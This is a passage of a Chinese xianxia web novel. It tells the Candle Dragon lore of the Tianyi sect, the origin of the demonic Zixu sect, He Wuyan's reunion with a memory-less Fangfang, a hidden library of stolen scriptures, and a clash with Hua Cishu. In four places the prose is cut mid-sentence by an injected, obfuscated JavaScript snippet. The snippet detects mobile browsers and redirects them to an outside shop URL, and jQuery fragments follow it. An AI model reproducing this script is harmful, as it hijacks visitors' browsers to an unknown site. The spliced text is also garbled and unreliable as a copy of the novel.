“不错。修行本是极难之事，千万年来，天才何其之多？可成仙者终究寥寥无几。而我天一门自立派以来，所信奉的乃是天道。” “天地玄黄，宇宙洪荒，日月盈昃，辰宿列张，四季更替，万物有时，生灭皆有其因果法度，即为天道。” “天一老祖临死之际得见烛龙，发下宏愿。” “烛龙？” “便是执掌三千世界秩序之神。”墙上，银色巨龙熠熠发光，身姿矫健轻盈，仿佛下一个瞬间就要破壁而出。 “天一老祖舍身为世间众人，烛龙准许他三个愿望。烛龙问： “‘汝有何心愿？’” “‘吾愿世间再无妖精鬼怪。’” “于是烛龙便创造了一个再无鬼怪的天地。” “烛龙再问：‘汝有何心愿？’” “答曰：‘愿守住此方天地，护苍生太平。’” “于是便有了天一门，守护此方天地的秩序。” “可是，在天道面前，我们修行之人也不过是蝼蚁。” “烛龙最后问：‘汝有何心愿？’” “答曰：‘以有限追无限，窥得法门，修得仙体，循因果、尊法度、从天道，前仆后继，保万世无虞。’” “天一门人遂踏上了成仙之途。” “只是，世事无常，难以预料。天一老祖虽发下宏愿，万年来，门中弟子的想法却各不相同。” “千年前，宗门有不世出天才名唤紫须，自称不修天道转修人道，竟也炼成仙体，飞往彼岸。” “人道？” “循因果、尊法度、待时机，修天道者，乃是在等待灵气在此岸与彼岸之间来回轮转的时机，借助天时地利人和，才能成仙。于个人而言，是不老不死的大机缘；于天地而言，是将灵气带回彼岸，维护两岸之平衡。要知道，唯有灵气流动，才有生气，借助生气，才有万物欣欣向荣之态。” “紫须宣称，修仙不应静待天机，而是要自立自强。他所谓人道，乃是利用天道因果法则夺世间造化，将灵气据为己有，人为创造时机，强行飞升。” 这……何无盐一时不知该说什么。作为修行之人，他的做法似乎只是更加积极主动了一些。 “他还著书立言，留下了一本《紫霄渡厄经》。后来此书被同门师兄弟林啸之得到。据书中所说，他便开始效仿，夺天地之灵气。一开始，同门皆不知他意欲何为，也是倾力相助。后来，林啸之走火入魔，竟然杀害同门师兄弟，这才被撞破，受三百鞭，逐出师门。” “本以为他必死无疑，谁成想，却被紫旭教初代圣女鲤儿所救。不出一二十年，紫旭教借紫须之名，大肆宣扬‘人道’，获得了一批信徒。” “‘人道’之法虽是私心，本来倒是无可厚非。修行不易，多少人等不到天机来临，就寿命已尽。” “若是事情只发展到这一步，倒也罢了。只是那林啸之被逐出师门之时已是心术不正，而后紫旭教以‘人道’为由，逐渐变得嗜血残酷，为抢占灵气不择手段，以致被天下讨伐，世人称之‘魔教’。” “正魔两派的斗争由此而来。” 何无盐默然。原来两派有如此深远的渊源。头顶上，烛龙之眼散发着温润的光泽。在这光芒的照射下，壁画上的两派人物都越发鲜活。 “更为重要的是，天道意味着秩序，而在这世上，最为根本的秩序是空间与时间。” “烛龙乃上古至今唯一真神，司掌时空秩序；烛龙之眼，乃是时空通道，也是飞升必须之物。” “天道不兴，人道横行，此方世界便逐渐脱离了烛龙的控制。没有烛龙之力维系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482351|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，秩序便逐渐走向紊乱，时空最后都会因此而坍塌。” “此话怎讲？”听到此处，何无盐心中一惊。 “自魔教兴起，这世间的时空便不再同步。典型的例子，便是三青山。山上的时间流逝本就与外界不同，空间构造也与外界不同。” 不错。山上一日，人间两日；而息语林中时间流逝比山上更为缓慢，不过具体如何，却是全靠个人领悟和机缘。若是有所领悟，进展自然是快上许多；若是领悟不到，息语林也只是一片普通的竹林罢了。 她以为这是三青山诸多阵法在起作用，没想到背后竟然是时空撕裂之故。而阵法，原来不仅是为了保护三青山不被外界侵袭，更是为了保护外界不受时空裂隙的干扰。 “雅一门上山何其之难？那不仅是在考验弟子的心性，也是在考验弟子在时间之法上的天赋。” “清一门选弟子讲究天赋，上山第一个‘有门无路’，那便是在筛选对空间构造敏锐之人。” “三青山便是时空巨大的裂隙。选出来的门人修行到大成之时，便可以去前去修复这时空裂隙。若非如此，此间天地早就崩塌了。” “龙师祖，弟子在山下时，也几次三番遇到烛龙之眼。魔教之人似乎利用此图纹作为某种空间阵法的阵眼。魔教在背后悄悄计划着什么？” 他指了指头顶，“妙就妙在这里。魔教虽然修行人道，想脱离天道和烛龙的掌控，但是要飞升，还是需要将此岸与彼岸连接起来。” “所以他们依照烛龙之眼纹，想自己创造出一个新的通道。只是赝品终归是赝品，魔教搞了这几百年，他们手上的烛龙之眼，其效力仅限于在此岸世界，也只有一些空间转换之力。” “烛龙之力虽难以降世，但是借此机会，烛龙便趁机寻了一个观测者过来。” “观测者？” 龙师祖乐呵呵地道。“不错。有了观测者，至少能保证这时空间隙暂时不会进一步扩大。说起来，人还是你何不去师叔带回来的。我带你去见见。” 两人说着便离开了这玲珑塔。 眼前景物转换，便来到一处青砖瓦舍。 40. 神之使者 何无盐不解：“为何观测者能起到这么大的作用？” “烛龙是这世间造物主。但是这个世界是如何创造出来的？这还是个未解之谜。古籍《飞仙异闻录》上有记载，飞升而去的仙人经过烛龙之眼时，有人听闻有鼾声大如惊雷，有人听闻熟悉的耳语，更有甚者，会听到已故旧人在呼喊自己的名字。” 《飞仙异闻录》？这听起来就不是本正经书，能信吗？再说，都飞升成仙了，怎么还有鬼，说好的世间再无妖精鬼怪呢？ 不过她面上自然不显露出来，“这是何故？” “前人推测，此世间乃是烛龙的黄粱一梦。那鼾声正是烛龙发出的，而窃窃耳语和故人之音，是烛龙的梦呓。这万年来，烛龙的魂魄，在他的梦中蜕为千千万万生命的意识；而它的元神，就潜藏在意识之海下，观测着世间的存在。是以修行之人有什么放不下的，都会在飞升之时，通过烛龙呓语显现，跟尘世最后做一个了断。” 那烛龙还挺恶趣味的。净吓唬人。 她想了想，问：“若是没有烛龙的见证，这世间便不存在吗？” “皮之不存，毛将焉附？再退一步说，”两人说着，靠近了眼前的青砖小院，“若是不借着你我之眼，这小院如何证明自己存在呢？” “不过眼下烛龙派来的使者，也能观测到这世间的存在，那这方天地倒也还能勉强维持得下去。我老头子总算是能松一口气啊。” 入了院，是个四合院的布局，不过左手边改建了个鸡圈。话说回来，她本以为既是烛龙的使者，必然要住气派的宫殿，至少也是间雅舍。没想到这里的砖瓦上还长有青苔，像是经年未曾修整过了。 龙师祖进门就张嘴吆喝起来，“徒儿！” 徒儿？龙师祖竟是将烛龙使者收于太一门下了？ 不一会儿，一个秀气纤细的身影磨磨蹭蹭、不情不愿地从门里走出来。“师父。” “咳咳，”龙师祖清了清嗓子，“今日功课怎么样了？” “嗯……还没来得及做。” “你！”龙师祖吹胡子瞪眼，“回头再训你。这是你雅一门大师姐何无盐，还不来见过。” “大师姐好！”来人举起手来摇了摇，这便是打过招呼了。 何无盐一见，心中波澜骤起。 这不就是方方吗？！ “方方！”何无盐拉住方方的手，从上到下看了一圈，确定毫发无损，“你真的没事！太好了，月亮城一别，你不知所踪，我担心你被魔教掳去，还跟李星中找了你好久！” 方方的神色看起来却有些困惑，小心翼翼地问，“大师姐……？”伸出一个指头，在两人之间来回，“你？我？” “以前认识？” 何无盐遭了闷头一棍。“你……不是方方吗？”她难道记错了？ “我确实叫方方，但是大师姐，这是我们第一次见啊。”方方看起来也是满头雾水。 同名同姓还长一样？世上还能有这种巧合？她看向龙师祖。 “师祖，这是怎么回事？” “这个嘛……方方，你去做功课去。” 只见方方嘟哝着，“什么嘛，又是功课，功课功课功课！”然后向自己的房间走去。 “她醒来之时，已经不大记得一些往事。”等方方关了门，龙师祖悄悄道。 “不记得？！” “魔教的烛龙之眼纹路不够细节，材质也不算上乘，经过传送阵的人会因此受到一些刺激，会失去部分记忆。” “那她如何入了太一门？？” “我骗她的。”龙师祖嘿嘿地笑了起来。 何无盐脑仁疼起来。这老顽童，真是没个正经样！好好地蒙骗人家小姑娘做什么！ “您老人家……怎么跟她说的？” “我说她是我太一门内天赋最高、前途最无量的弟子，只是发生了一些事，暂时失忆了。” “这我可没说假话，”龙师祖看着她欲言又止的眼神，赶紧找补，“这小徒弟术数天分是极高的；而且她现在已然是观测者，前途当然是无量。” 何无盐挖空心思，也不知道怎么把这话说得体面一些。 “我这也是为了顾全大局。作为观测者，修为越高，在此岸能坚持的时间就更长。老头我为了让她入门可是煞费苦心。” “那若是修为耗尽了呢？” “两个结局。时间一到，要么就回到彼岸去，要么耗干寿元，直到殒命。” 门虽然关上，但何无盐不禁看向方方的那边。屋内传来读书的声音，她故意念得字正腔圆，一字一顿，生怕他们听不见。 “那她现在学的如何了？” “这小妮子，天分虽高，但忒不用功。让她学《太一奥妙术》，给我三天晒网两天打鱼，很是磨人。我天天求着她学呀。”龙师祖脸上流露出痛苦的神色。 说着，便走到房间内去，又把方方说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482352|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一通。 何无盐心下却难受。本来，她以为方方可以为李星中作证。可现在倒好，她什么都不记得了。那李星中该如何是好？她又如何向仙门众人交代？ 更为荒唐的是，方方的身份可是观测者。没有被观测到，岂不是意味着并未发生过？那难道她这一路走来也是跟烛龙一样，只是做了个梦自娱自乐吗？ 可笑，可笑至极。她甚至觉得自己有些恍惚了。 龙师祖训完了人，又坐回她跟前。 “现在三青山形势危急，但愿她能尽早修成。这样我也可携她下山，将魔教那些妖孽赶出山去。” 何无盐心乱如麻，只点点头，“如此，那便有劳师祖了。” 龙师祖递给她一枚玉石。“受了魔教的启发，我也做了一枚烛龙之眼。你用此物便可以进出我缥缈峰。不过老头子耳朵不好使，有时候你要多唤几次。” 何无盐谢过，便回到了瑶光楼。 好死不死，刚才在缥缈峰上还没什么感觉，现在一回来，身上酸痒又发作了。她便赶紧进了温泉池子，开始吐故纳新。 但今天却很奇怪。泡了有两炷香的功夫，身上的酸痒之感却没有散去，反而加重了。 等到她意识到这点，便想起身，却发现四肢无力。这是什么情况？ 丹田处的空洞感开始扩张。要不了一刻钟，她整个人由内而外好像被掏空了。仿佛……仿佛肚子里有一只饕餮，将她的一切吃干抹净。满头大汗。 肚子也咕咕叫起来，而且越来越响。 饿、饿了……好饿……好饿呀…… “何无盐！”这熟悉的声音闯进她的耳朵。 紧接着是一股清香自她的鼻息、口舌处进入身体、渐渐浸润了经脉，稍微减缓了酸痒之感。 她缓缓睁开眼。 李星中眉眼间写满了焦急。“你快醒醒！” 她贪婪地吸着这股清香，仿佛中毒的人在吸着解药。两人气息相接，天地也为之旋转。 “嗯……”李星中猝不及防，但立刻将怀中人抱得更紧，以免她滑落进池中。 不知是瑶光池水热，还是别的什么原因，两人脸色通红。 身上的酸痒之感终于是褪去，她却发现自己与李星中贴得紧紧的，于是猛地往外一推。 可李星中却不容她将自己推走，左手握住了她的腰，右手掌住了她的脖子。 “师姐，这是要过河拆桥吗？” 41. 天下藏书 “师姐，用完我就要抛在一边吗？” 李星中这两只手让她感觉被控制了命门一样，酸痒之外还有麻麻的感觉荡漾开，同时浑身上下汗毛倒立。 她反手一劈。两个人一阵拉扯。 李星中往水中一躲，整个人抱住了她的腰，往前走了几步。冲劲之大，把她压在了岸边。 然后，他像只狗狗贴了上来。两人额头相抵，然后开始轻轻地蹭。额心，眉眼，脸颊，鼻子……越往下，传来温热的触感。 他用侧脸紧紧贴着她。不知该如何形容，她只觉得他的脸有一种别样的柔软。挺……挺舒服……像清晨起床的被子…… 李星中似乎是刚刚睡起来，穿的也单薄，白色的睡衣外随便套了靛宝蓝色刺绣华服就来了。 在水中，华服只搭了个肩头，其余部分与他散开的长发一同都飘了起来；眼神直视出去，刚刚好落在全在他那薄而直的红润嘴唇上。 咫尺之遥。这太近了。她紧张地吞了口水，手死死地抵在他的胸前。 他现在简直是任意妄为。这好像……不太对。正这么想着，颈后突然传来很大的力道。 她差点喊出来，一巴掌拍在在他脖子和锁骨之间。“啪”地一声，她的手红了。他的脖子和锁骨连接处也多出半个红红的手掌印。 “嗯……”李星中微微皱眉，哼唧了一声，“师姐，疼。”语调低沉。这人平时对什么都冷嘲热讽，这番示弱竟然让她竟然有些不敢动弹，生怕会弄疼他。 脖子上传来的力道略微小了些。这距离、这姿势、他们正在做的事情……“我好些了，你放手吧。” “师姐，我还没使什么劲。这些天你精神太紧张了，气血不通畅。我这推拿手是学过的，能你揉开经脉粘黏之处，让你好好放松一下。” 他捏的还十分有节奏。脖颈一寸寸往下，直到肩头。是有些疼痛，但更多的是按过后的轻松感。 何无盐被他一通糊弄，竟说不出什么推辞的道理。 “你被花辞树发现了？”李星中一边按一边问。 “是的，他以为我是月左使派来的人。你怎么知道？” “现在他悄悄命亲信四处搜索月宫来人的下落，找到格杀勿论。我就猜想必然是你在他面前用了月宫的宝物，这落在花辞树眼里，就是‘月左使又派人来跟他作对’。” “为什么不用玄冥？花辞树很危险，用了玄冥，我立刻就能找到你。”他语气有些焦急，又有些责备。 “……情况危急，望舒羽衣自动感应上了。”因为怕给你树敌……但这种话何无盐自然是说不出口的，急中生智随便找了两句搪塞了。 “眼下你最好不要出门。就在这瑶光楼里，吃食、衣物，我都会给你备好。” 何无盐抗议。“不行。那我还怎么解救师门、找出师父？师兄他们眼下的处境很不妙，有的中了青篱藤毒，没中毒的很有可能会被马宵今入药；师父……我还不知道他在哪儿，但是花辞树肯定会逼问他破阵之事，必下重刑。” “此事我会想办法的。我有一物要给你看，你先跟我来。” 两人穿好衣物，来到二楼。 进了书房，李星中敲了两下砚台上的乌龟，出现了暗格。 暗格中垂下一个铃铛。铃铛呈古铜色，有些生锈发暗。只是上面刻有松柏图纹，寓意吉祥。李星中摇了四下铃，左右各两次。不多时，左边门竟然开了。 进了暗室，放眼望去，从地板到天花板，十来步的距离，一面书墙。“你再进去看看呢？”李星中指着过道的缝隙。 她挤进去一看，檀香打造的柜子上百个，架子搁的也全是书。 “怎么会……三青山的藏书阁不是被毁了吗？”所以才害得他们三青山传承中断，大不如前呢。 《飞仙异闻录》《本草心决》《北冥神功》《大道朝天》《蚍蜉撼树》《血浮屠》……三青山、四大派、名不见经传的小门小派、魔教的历史记载、名人轶事，乃至于功法、心经、剑术、炼器炼丹要诀，飞仙前辈的修行日记、秘密心得，应有尽有。 “所以这些书不是三青山藏书阁里的，是我特意让白慕圣搬过来的。” 她骤然想起，当时白慕圣确实以藏书为条件想策反她来着。原来这些书竟然有这么多。 “白慕圣怎么有这么多藏书？” “这也不是他的，是紫旭教到处抢来的。不过抢来之后，他们也不甚在意，放在仓库里都快烂了。还是白慕圣把这些书整理了一下，所以这堆破烂现在就归他管。里面也有很多三青山的典籍，还是百年前大战时被拿走的原典。” 何无盐抓起来仔细翻了翻。确实如此。果然是贼人。 “这些天，你不能出去，可以在这里打发打发时间。” 她不说话。这勉强算是答应了。 “那师兄师父那边，你打算怎么办？” “山人自有妙计。”他露出一个神秘的微笑。突然，只见他耳朵一动。 “花辞树有事情唤我，师姐，”他道，“我先去了。” 说罢便离开了此地。 何无盐的注意力被满屋子的书吸引走了。 魔教当真是要断了正道的传承。这些书都是各门各派的机密，可现在就像没人要的废纸一样堆着。 她竟然看见了《朝云神功》。这不就是她所修之功法吗？于是赶忙打开来看。 一路读下来，天色由黑转白，由白转黑，终于合上了书页。 简直是胡说八道！ 上面记载的看似与她所修行的功法相同的，其实思路却大相庭径。若真是按照这上面所写去修行，必然落得个走火入魔、最后身死道消的结局。 她又翻了几本，越翻越来气。魔教就是魔教。竟然暗自篡改各家各派的学说，完全就是不安好心。他们篡改这些典籍，意欲何为？难道是要发还给各家吗？若此间的书流传出去，不知道要造成修行界多大的动荡。 要不一把火烧了？ 可若是有原典在此，她岂不是又成了罪人？ 犹疑间，她吃过了饭，回到了二楼时。 《紫霄渡厄经》骤然出现书架上。 鬼使神差地，仿佛在召唤她一样。她目不错经地盯着书脊看了很久。 按照何无药所说，她现在修行灵气也不能存于经脉、丹田，若是如此，按照正道之法，是再无修仙可能。那《紫霄渡厄经》中，会不会记载解决之法呢？ 她做贼心虚，小心翼翼地翻开了这本引起林啸之杀戮同门、背叛正道、创立魔教的典籍。“天一老祖在上，知己知彼，方能百战百胜。我这可不是小人之心。您老人家在天上有眼，可不要引雷来劈了我。” 灯火昏暗，风吹影动。 四周安静无声，只有她时不时的翻书声。 “好吧，这不就是一本心得书吗？”里面大部分内容跟别的成仙者的心得差不太多。只是如龙师祖所说，他主张事在人为，要自己创造飞升的时机，这与天一门不同。 细说起来，这个想法也算是有点邪门。 有多少修仙者，尽管修得灵气充沛、仙风道骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482353|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，可等不到天机，最终只能在此岸寿终正寝。若是能自己创造飞升时机，那像她师父那样的就可以早早成仙了，也不至于还在苦苦挣扎，与自己的寿元大限殊死搏斗。 而且既然已经将成仙时机把握在自己的手中，那又何妨再想些窍门，将天下灵气一通搜刮，为已所用呢？ 初代魔头林啸之将搜刮来的灵气注入己身，此前肯定还用了一些法器，但他也承接不住，爆体而亡。本来这对后辈之人应当是个警醒。但赌徒终究是赌徒，爆体而亡又如何？若真是到了寿元将尽之时，与其等死不如放手一搏。比起十年如一日的修行之苦，总有人愿意的。 魔教就是这样一帮亡命之徒，他们看林啸之，犹如在看革命先烈那般。 即使是何无盐，此刻也有些心动了。可想而知，这个想法会引起多少修仙者异样的心思，在江湖之中引起多大的风浪也不足为奇。没有林啸之，还会有王啸之，张啸之，反正，终究会形成一股不可阻挡的势力。 再仔细看书中，何谓人为创造仙机？修得灵气充沛固然重要，但这只是必要条件。仙机属因果范畴不可以人心揣测，也不可用奇门八卦、术数占卜等方法来窥探，紫旭教便也不往这方面做打算。 他们的思路倒是出奇简洁——以人道毁天道，将烛龙之力驱逐出这个世界后，打算再自己造一个新的通道连通此岸与彼岸。如此以来，想什么时候飞升就什么时候飞升，这不就是“成仙”吗？龙师祖以为他们是搬起石头砸自己的脚，却没想到人家就是这么想的。 烛龙之眼，正是紫须留在《紫霄渡厄经》里的，还写了具体的运用之法。 紫须还道：他已将烛龙之眼带往彼岸。届时，后来人可以在此岸以烛龙之眼构建通天法阵，将符合条件的求仙之人一并带过去。 这确实是逆天叛神之举。 而且……魔教的方法，岂不是也适合自己？她额头上出现了细细的汗珠。 那林啸之死后，魔教之人又待如何？这么想着，她立刻又找到了紫旭教史，《求索记》。 书中写，虽然有了方向，但创建新的通道哪有这么容易？真要有这种天大的好事，各门各派肯定会想方设法将这个秘密把握在自己手里。紫旭教为此千年谋划，烛龙之眼的传送阵法这近五百年来才慢慢摸出门道，能够打通现世的空间，甚至送往空间夹缝之中。 只是实验到今天，仍然不能连通此岸与彼岸。 而且紫旭教急功近利，所使用的功法心诀，都讲究个“快”，自己修行得来的灵气少，抢天地、抢同道得来的多，隐患不少。 忧、思、悲、恐、虑、惊缠身，提前把自己折腾归西的不在少数。 可笑可叹。 她将书合上，身上已被汗浸湿。 魔教谋求之事，她做梦都不敢想。这个想法若真能实现，那岂不是天下大同？对修仙者来说，可谓一件大喜之事。 不怪乎千年来，即使魔教手段残酷异常，仍然有无数人修人道、入魔教，前仆后继，死而后已。 咚咚咚…… 她的心跳响如雷鸣。好像……有谁在注视着她。 可是周围明明只有她一人。是谁在窥视她的心思？ 树林中那道恐怖的目光！ 她被惊得汗毛倒立，立刻从椅子上站了起来！ 可四下除了书还是书，甚至也没有窗户。她急忙走到二楼廊道。放眼望去，没有一个人。瀑布依旧垂下，莲花静静地开在池塘中，鲤鱼嬉戏玩耍。 威压消失了。仿佛刚才一切只是她的幻觉。 42. 杜鹃索命 瑶光池也并不安全。那道目光让她心有戚戚然。 会是花辞树的人吗？若是他的亲信，既然找到了人，应该会直接杀了她。看来此人并非花辞树的人，也或许，是亲信，但有私心。 但还有一个可能，此人只是还没有断定她的身份。在不知情的人看来，是魔子李星中金屋藏娇……她手臂一麻，起了鸡皮疙瘩。不行不行，她可不是什么娇娇。 她赶紧摇摇头，将这个想法甩开。 不管是哪种情况，此地都已经被发现了，算不上隐蔽安全。 不能坐以待毙。那道目光恐怖如斯，若真是要杀她，不过弹指之事。她想了想，决定偷偷往息语林去。那里是她最熟悉的地方，也是本门的禁地，她有信心可以藏起来不被发现。 而且，现在她手上有烛龙之眼，可以将被抓的师兄师弟们一股脑全送到缥缈峰去。如此，至少先保下他们的性命。 只是这个事情不能打草惊蛇，她需要先探到师父所在。否则，被花辞树发现了，他只会先将师父转移到更为隐蔽的地方，那时再找师父就难了。 本想直接告诉李星中，两人一起商议商议如何行事。可是经过这道恐怖目光的窥视，她实在是一刻也待不下去了，于是便给李星中留下了一张纸条。 暗号：何处购入了银镯子？对答：九里镇。想来，到时他们可以在息语林附近汇合。 她在瑶光楼里将丹药、符咒一扫而光，还揣走了魔教的功法典籍，穿上隐身衣，服下多颗敛息丸，又回到了雅一门正殿。 雅一正殿门口却比那日多出许多守卫和巡逻来，看着都是训练有素、整齐划一的。气氛似乎不太一般。 魔教简直是把这里当做了他们自己的地盘。那副耀威扬威的德性……鸠占鹊巢的无耻之徒。她此时敢怒不敢言，只得先作罢，日后有机会再找这些人算账。 偷偷摸摸来到禁闭室。上回二师兄说，师父有可能被关押在此。 还没走近，就看见一人全身着红，头佩血色杜鹃，一双桃花眼下带了颗红痣。不是花辞树又是谁？真是冤家路窄。 花辞树在墙上叩了三下，长短长，便显示出一道淡红色的结界。然后他便走了进去。 他身后，跟着的竟然是李星中。李星中今日着白衣，其上有白鹤祥云纹。白鹤乃是暗纹，祥云是绣上去的，颇有番仙风道骨的滋味。 她在荷花玉兰树上静待了一炷香的功夫，他们便又出来了。 等他们走远，她悄悄走近禁闭室。此处被花辞树亲自以血浮屠之法设下了结界。看来这里面关押的必然是长老级别的人物。说不定真是师父。 “血浮屠是吧，哼，”她拿出《血浮屠》魔典，“看看我手里的是什么。花辞树啊花辞树，你想不到吧。” 将意识聚于眉心，从手心取一滴血，右手放于头顶，左手中指与拇指相抵，竖食指，结期克印，指向那滴血。 瞬间那滴血张开，形成一张薄薄的淡红色的网，覆盖了何无盐全身。 她以手触摸结界，淡红色的网与结界相接。成了！她便赶紧进了结界。 禁闭室内十分暗淡，只能闻见一股子血腥味。她适应了好半天，看见一个人躺着，这是……何不去师叔！ 她喊了几声，没有应答。又探了探鼻息，倒是还活着，只是受伤太重。于是拿出丹药给他塞进了嘴里。可是师叔却一直没有醒来的迹象。 “没用的，他被下了安眠符，没有解符是醒不过来的。”低沉华丽的嗓音钻进了耳朵。 惊天霹雳，她想都不想立刻出了结界准备逃跑，却被拦下了。 “小虫子，你胆子还真是大。触动了血浮屠的结界，还以为我能无知无觉？”花辞树笑了。 她又举起双面石镜，然后立即召唤出望舒羽衣，抽身飞走。 “你以为我还会上当吗？可笑。”说着，血色掌印已经到了她面前。 她举起破魔剑，勉强挡下致命一击，手臂被巨大的力量震到发麻，剑“哐当”一声，掉在地上。 两个血色掌印又接踵而至。眼看即将遭受灭顶之灾…… 咦？好像无事发生？ 一抬头，眼前的衣物饰有白鹤祥云纹。 “左使，你不能杀她。” “有什么杀不得的？” 李星中有些犹疑，半晌不言语。 花辞树冷笑道，“我说为什么区区一个月宫的小虫子，漫山遍野寻不到。原来是你在护着。让开。” 又是一道血色手印。 “还请右使开恩！”李星中突然单膝跪下，生生受了这掌。 “你！你这是在做什么？”听得出来，花辞树已经暴怒了。 “右使，此女对我有救命之恩。” 救命之恩？她讪讪地。李星中为了救她什么谎话都编出来了啊，也真是难为她这个师弟了。 “她能对你有什么救命之恩？” “回魔教之前，我和此女皆被困于莲山洞。彼时我命悬一线，要不是得此女庇佑，我再也无法回到教中了。还请左使看在我的份上，网开一面！”李星中言辞恳切，听者为之动容。 妙啊，妙不可言，这说得她这个当事人都要相信了。 “哼，照你这么说，她确实有功。这样吧，”那桃花眼含情脉脉地道，“我留她一个全尸！” 陡然间，空中压力骤生。血色掌印铺天盖地，马上要淹没她。 李星中手中多出一柄漆黑的长剑，使出紫薇剑法第十一式，君子无悔！ “你现在翅膀硬了是不是？！”那声音出自血色掌印中，既华丽，又多出几分野兽的怒吼。 “手下留人！手下留人！”白慕圣自半空中出现，立刻单膝跪地，“花右使，此女杀不得！” 花辞树见状，更是对着李星中怒目而视。“你竟然还遣侍从叫来长老？我看你真是吃了熊心豹子胆！以为这样我就不会杀她了？错了！越是这样，她就越是得死！” “右使慎行！我已派人去请三童过来了！”白慕圣急得大喊，生怕花辞树听不见，把“三童”二字咬得非常清楚。 此言一出，场内俱静。 “三童？”半天，花辞树吐出一句。“荒谬。一只小虫子，捏死就行了，还要劳烦三童？” 紫旭教内，教主之下有一圣二使三童五老。看似三童排在后面，但其实论资历，远超过其他人。只是千年来，三童一直侍奉圣女，也只听从圣女号令，对教主向来是既不听调也不听宣的。对他花辞树，自然也是不买账。 “恭喜右使，终于寻回了我教圣女！”白慕圣气若洪钟。 花辞树眉头一挑。“圣女？我教圣女之位，空置已久，何来的圣女？”上一代圣女百年前为了强攻三青山而献祭，此后教中再无圣女。 “远在天边，近在眼前。”李星中道，“请右使明鉴。”拽过何无盐，把她推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482354|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到花辞树面前。 圣女？他们俩为了保住她真是煞费苦心啊……这回是什么理由都编出来了。 不过花辞树压根不吃这套，只见他眼中杀意更甚：“呵，我教圣女是什么虫豸都可以做的吗？” “是不是圣女，三童来了，一切便分晓了。还请右使移步偏殿！三童已在路上了！” “我紫旭教这百年来，没有什么圣女，也是如日中天，势不可挡。别说这人来历不明，就算她真的是什么圣女，实力如此低微，在圣教中也没有任何立足之地！” 白慕圣赶紧解释：“右使息怒！圣女对我教有大功，也有大用！” “什么功什么用！一派胡言！”他竟然再听不进任何话，一味地动起手来。 看来这花辞树是真的想杀了她，不论白慕圣和李星中找出什么借口都是没用的。 既然如此，此时不跑，更待何时！ 她向李星中使了一个眼色，紧接着，清脆的鸟鸣穿云裂石，巨大的翅膀张开，竟比一人还高些。 “花右使，就不陪你玩了，改日再续！”便立即点燃了引路符。 李星中心领神会，当即拦住花辞树。李星中有血色禁果在身，即使他至今仍然未能将此物消化干净，天底下能胜他者也不超过十人。花辞树的血浮屠功已是炉火纯青，只差一步就要登天，是以两人打得有来有回。 可是，并没飞出去多远，白慕圣却从左边追上了她。 她立即拔出破魔剑：“阁下这是何意？”刚才还在花辞树面前找出荒唐的理由为她脱身，现在却又拦着她不准她跑。这人到底是要救她，还是要杀她？ “正如我所说，三童已在路上，还请尊驾移步偏殿。” ……这是真要她去当那劳什子圣女？她躬身行了一个礼：“阁下刚才为无盐挺身而出，无盐甚是感激，来日有机会，必报此恩。” “不必来日，就在今天。跟我去偏殿面见三童。”白慕圣丝毫不让，说完就出手，是想将她拿下。 “阁下是不是弄错了什么？我本天下正道魁首雅一掌门何不山首席女弟子，在山上经年累月修行，与紫旭教、与圣女，从来无半分干系。” “无半分干系？”白慕圣道，“那你的望舒羽衣、露白，又是从何而来？” “这其中另有故事，阁下若是有兴趣，我大可以讲给你听，只是不在今日。” “故事嘛，我要听，但这偏殿，你也必须要去。你放心，我绝不会弄错的。” 她怒极反笑，“若是阁下没有弄错……好，倘若我真是那圣女，那我现在便以圣女之名请阁下让路。” “没有得到三童承认之前，你不能行使任何圣女的权力。” “那得到三童的认可之后呢？”这痴人！何无盐想起上次他也是非要带着她回紫旭教，步步紧逼，一路追杀。若非如此，李星中怎么会濒临死境，后来莫名其妙闹成现在这难堪的局面。 说话间，两人一路打斗，竟是已来到了偏殿。 “到时你就不怕圣女追问你的过错，要取你性命吗？” “我自是问心无愧。圣女要打要罚，我绝无怨言。” 